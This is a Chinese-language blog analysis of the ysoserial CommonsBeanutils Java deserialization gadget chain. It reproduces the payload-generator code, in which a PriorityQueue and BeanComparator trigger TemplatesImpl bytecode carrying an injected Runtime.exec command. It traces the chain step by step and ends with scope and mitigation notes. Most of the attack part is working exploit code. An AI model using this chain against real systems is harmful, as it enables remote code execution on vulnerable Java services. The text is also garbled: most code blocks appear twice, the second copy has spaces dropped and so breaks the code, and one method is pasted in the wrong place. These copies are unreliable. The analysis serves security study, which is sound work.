一、简介
前几天看到
github 上的
ysoserial 更新至
0.0.4 ,增加了
CommonsBeanUtils 的
Java 反序列化
Payload 生成代码,原以为跟前面的
CommonsCollections 的原理一样,仔细看了一遍思路大不相同。
CommonsBeanutilsCollectionsLogging1 主要依赖的
jar 包有:
commons-collections(2.0-3.2.2), commons-beanutils-1.9.2, commons-loggings-1.2 。
二、序列化
CommonsBeanutilsCollectionsLogging1 的主要代码如下
:
public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
final BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "outputProperties");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public Object getObject(final String command) throws Exception {
final TemplatesImpltemplates = Gadgets.createTemplatesImpl(command);
final BeanComparatorcomparator = new BeanComparator("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "outputProperties");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
在
CommonsCollections 的
payload 生成过程当中,需要形成反序列化的调用链。刚开始我以为这个是
CommonsCollections 的更新升级版,特意追了下
commons-collections 的相关代码,发现
commons-collections 在这里只是起到辅助作用,仅在
BeanComparator 中用到了
ComparableComparator 这个类,追踪了下
ComparableComparator 的源代码,它从
commons-collections-2.0 就已经存在了,而且在最新版本的
commons-collections 也未做较大改动。
下面是
BeanComparator 的相关代码:
package org.apache.commons.beanutils;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.util.Comparator;
import org.apache.commons.collections.comparators.ComparableComparator;
...
public class BeanComparator<T> implements Comparator<T>, Serializable {
private String property;
private final Comparator<?> comparator;
...
public BeanComparator( String property ) {
this( property, ComparableComparator.getInstance() );
}
...
public BeanComparator( String property, Comparator<?> comparator ) {
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
}
package org.apache.commons.beanutils;
importjava.io.Serializable;
importjava.lang.reflect.InvocationTargetException;
importjava.util.Comparator;
importorg.apache.commons.collections.comparators.ComparableComparator;
...
public class BeanComparator<T> implements Comparator<T>, Serializable {
private String property;
private final Comparator<?> comparator;
...
public BeanComparator( String property ) {
this( property, ComparableComparator.getInstance() );
}
...
public BeanComparator( String property, Comparator<?> comparator ) {
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
}
回归正题,在今天这个 payload
生成过程当中也需要形成反序列化的调用链, PriorityQueue
是符合这个条件的,其自身实现了 readObject
。 PriorityQueue
是使用数组实现的完全二叉树优先队列,不允许空值,而且不支持 non-comparable
的对象。在最终达到 Runtime.exec
之前,需要解决以下几个问题:
- 放入
PriorityQueue 的对象需要实现
readObject
- 要实现
Comparable 接口
经过第一个条件的过滤之后,可以发现 jdk
中的 TemplatesImpl
类可以满足条件。
但是, TemplatesImpl
未实现 Comparable
接口,为了绕过这个,可以看到代码当中首先添加了两个 BigInteger
值为 1
的对象。 BeanComparator
中设置的比较属性为 lowestSetBit
,这里也可以改为 BigInteger
其它的可比较属性名称,前期分析过程当中原以为是为了在比较过程当中利用特定的属性触发某些条件,继续跟踪下去发现根本不是。
由于 PriorityQuque
的泛型类型设置为了 Object
,所以是任何实现了 Comparable
接口的对象都可以放进去的。那么不可比较的 templates
对象怎么处理?
首先,利用
Java 反射机制将
Comparator 的
property 设置为
TemplatesImpl 的属性
outputProperties ,但是这个属性在这里未起到比较的作用。它的重要作用将在
payload 反序列化时体现。
其次,我们看到代码利用反射机制直接获取了 PriorityQueue
的内置属性数组 queue
,将 templates
按照索引值填入了 queue
,这样做是利用了 Java
的泛型的类型擦除,这里简单介绍下类型擦除,早期的 Java
语言是不支持泛型的,后来在 Java5
当中加入了泛型支持,在 Java
编译阶段将具体的类型信息擦除了,所以在 Java
的泛型代码内部,是无法获得任何有关泛型参数类型的信息。这样就规避掉了条件二的限制,并且在序列化数据中保留了 templates
的类型信息,不得不说这段代码实现的非常精巧。
如果不做上述的处理,直接使用
queue.add 方法添加
templates, 在生成
payload 时,将会触发
Java 的
SecurityManager 安全机制,抛出异常。
最后,这段代码中精心构造的
PriorityQueue 对象,包含的两个
TemplatesImpl 对象被序列化,相关被序列化的还有
BeanComparator 对象的属性
property ,它的值为
outputProperties 。
下面我们看看对象 templates
的生成相关代码 :
static {
System.setProperty(DESERIALIZE_TRANSLET, "true");
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
...
...
...
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
static {
System.setProperty(DESERIALIZE_TRANSLET, "true");
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public void transform(DOMdocument, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOMdocument, DTMAxisIteratoriterator, SerializationHandlerhandler) throws TransletException {}
}
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
...
...
...
public static TemplatesImplcreateTemplatesImpl(final String command) throws Exception {
final TemplatesImpltemplates = new TemplatesImpl();
ClassPoolpool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClassclazz = pool.get(StubTransletPayload.class.getName());
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
上述代码中的重点是利用了 Javaassist
这个动态代理库,这个库在我看来实现了 Java
当中的元编程,就是让 Java
代码在运行当中动态编写可以运行的代码。利用它为 TemplatesImpl
对象的属性 _bytecodes
填入了静态内置类 StubTransletPayload
的字节码,动态代理库在这个静态内置类的静态初始化方法中加入了需要执行的指令,一般都为
Runtime.exec
。
三、反序列化
上面简单分解了序列化 payload
生成过程,这里将剖析反序列化的过程。
首先,我们看看
PriorityQueue 的
readObject() 函数调用过程:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
s.readInt();
queue = new Object[size];
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
...
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
...
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
...
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
private void readObject(java.io.ObjectInputStream s)
throwsjava.io.IOException, ClassNotFoundException {
s.defaultReadObject();
s.readInt();
queue = new Object[size];
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
...
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
...
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
...
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
从上面的代码可以看出
PriorityQueue 在反序列化过程中对队列当中的元素做了比较排序,调用了
Comparator 进行元素比较。进一步跟进
BeanComparator 的
compare 方法
:
public int compare( T o1, T o2 ) {
if ( property == null ) {
return internalCompare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
...
}
}
public int compare( T o1, T o2 ) {
if ( property == null ) {
return internalCompare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( IllegalAccessExceptioniae ) {
...
}
}
使用了
PropertyUtils 类的
getPropety 方法,代码在这里就不贴了,其实就是调用了对象
(templates) 的
Bean 方法
(getOutputProperties) ,而
TemplatesImpl 类的这个方法的具体内容就是关键的一句话
return
newTransformer
(
)
.
getOutputProperties
(
)
;
,
newTransformer 方法的后续关键代码如下
:
public int compare( T o1, T o2 ) {
if ( property == null ) {
return internalCompare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
...
}
}
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
...
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
...
}
...
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
...
if (_class == null) defineTransletClasses();
...
}
...
}
...
private void defineTransletClasses() throws TransformerConfigurationException {
...
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
...
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
...
}
...
catch (ClassFormatError e) {
...
}
}
public int compare( T o1, T o2 ) {
if ( property == null ) {
return internalCompare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( IllegalAccessExceptioniae ) {
...
}
}
public synchronizedTransformernewTransformer()
throws TransformerConfigurationException
{
...
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
...
}
...
private TransletgetTransletInstance()
throws TransformerConfigurationException {
try {
...
if (_class == null) defineTransletClasses();
...
}
...
}
...
private void defineTransletClasses() throws TransformerConfigurationException {
...
TransletClassLoaderloader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
...
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
...
}
...
catch (ClassFormatError e) {
...
}
}
从代码中可以看到,
newTransformer 中调用了
TransformerImpl 的构造函数,此构造函数的第一个参数就调用了一个私有的
getTransletInstance() 函数,前面生成
templates 对象时,没有给它的成员变量
_class 赋值,所以接着调用了
defineTransletClasses() 函数,最后在
defineTransletClasses() 函数中可以看到定义了一个类加载器(
TransletClassLoader ),使用这个类加载器加载
_bytecodes 成员变量的字节码,通过前面的梳理可以知道是
Gadgets 类的内部静态类
StubTransletPayload ,当这个类加载成功后,有
Javaassist 动态注入的静态初始化方法就会执行,也就是我们最终的目标
:
Runtime.exec
。
四、验证
为了验证上述的推理过程,我们可以用如下的两段代码进行调试验证:
FileOutputStream fos = new FileOutputStream("/tmp/TemplatesImpl.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(templates);
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class ReadObject {
public static void main(String[] args) throws Exception {
ObjectInputStream oin = new ObjectInputStream(new FileInputStream("/tmp/TemplatesImpl.ser"));
TemplatesImpl templates = (TemplatesImpl)oin.readObject();
templates.getOutputProperties();
}
}
FileOutputStreamfos = new FileOutputStream("/tmp/TemplatesImpl.ser");
ObjectOutputStreamoos = new ObjectOutputStream(fos);
oos.writeObject(templates);
importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
importjava.io.FileInputStream;
importjava.io.ObjectInputStream;
public class ReadObject {
public static void main(String[] args) throws Exception {
ObjectInputStreamoin = new ObjectInputStream(new FileInputStream("/tmp/TemplatesImpl.ser"));
TemplatesImpltemplates = (TemplatesImpl)oin.readObject();
templates.getOutputProperties();
}
}
五、调用链
最终分析出的反序列化调用链如下 :
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
Gadgetchain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
六、影响范围
去年受到
Java 反序列化影响的容器、应用软件若是依靠升级
commons-collections 来处理漏洞,同时在
Java 的运行环境当中包含了
commons-beanutils.jar 和
commons-logging.jar ,是仍然有可能受到
Java 反序列化的攻击的。
目前并没有相关官方补丁来修复该问题,临时解决方案是检查应用业务对外接口,尽量禁止对外的序列化数据接口。